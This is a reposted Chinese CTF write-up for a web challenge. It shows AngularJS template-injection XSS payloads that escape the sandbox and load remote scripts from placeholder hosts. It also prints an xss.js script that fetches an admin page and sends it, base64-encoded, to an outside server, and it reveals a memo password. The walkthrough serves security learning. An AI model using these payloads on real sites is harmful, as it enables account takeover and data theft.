转载声明
本文是转载文章,文章原作者theKingOfNight,文章来源:安全客
原文地址:https://www.anquanke.com/post/id/149324/
稍微一个小小的吐槽,安全客文章只有在工作日才处理,所以复现完过了几天安全客才终于出来了....
NU1L师傅写的wp有点糙,我就抓紧时间复现了下
Web
新的建议板
师傅最近开始学前端 想写个建议板 后来失败了?
登录上题,注册了一个账号,直接查看js模板
直接在前端的min-test.js
angular.module("mintest",["ngRoute"]).controller("IndexController",function($scope,$route)
{$scope.$route=$route}).config(function($routeProvider)
{$routeProvider.when("/admintest2313",
{templateUrl:"view/admintest2313.html",controller:"IndexController"}).when("/home",
{templateUrl:"view/home.html",controller:"IndexController"}).when("/login",
{templateUrl:"view/login.html",controller:"IndexController"}).when("/loginout",
{templateUrl:"view/loginout.html",controller:"IndexController"}).when("/register",
{templateUrl:"view/register.html",controller:"IndexController"}).when("/suggest",
{templateUrl:"view/suggest.html",controller:"IndexController"})});
直接可以到后台路径,尝试访问view/admintest2313.html,查看源代码
可以直接看到后台程序的接口
/api/memos/admintest2313
直接可以在这里看到使用的AngularJS模板,直接查找相应的模板漏洞
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}
然后直接利用xss反弹到自己的服务器上,看看能获取什么
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };window.open("你的ip")//');}}
{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };eval(atob(\'$.getScript('http://xxxxxxxxxxxxx/xss1.js');\'))//');}}
xss.js
$.ajax({
url: "/admin",
type: "GET",
dataType: "text",
success: function(result) {
var code = btoa(encodeURIComponent(result));
xssPost('http://xxxxxxxxxxxxxxxx', code);
},
error: function(msg) {
}
})
function xssPost(url, postStr) {
var de;
de = document.body.appendChild(document.createElement('iframe'));
de.src = 'about:blank';
de.height = 1;
de.width = 1;
de.contentDocument.write('');
de.contentDocument.forms[0].submit();
de.style.display = 'none';
}
把那一堆base64解密
SYC
HELLO adminClound
新版后台2.0!
这里可以获得用户名adminClound
尝试访问/api/memos/adminClound得到如下信息
[{"memo":"文件密码:HGf^&39NsslUIf^23"},{"memo":"规定完成时间:6月30日"},{"memo":"项目完成删除备忘录功能"}]
修改js文件继续访问这两个路径(改url)
/admin/file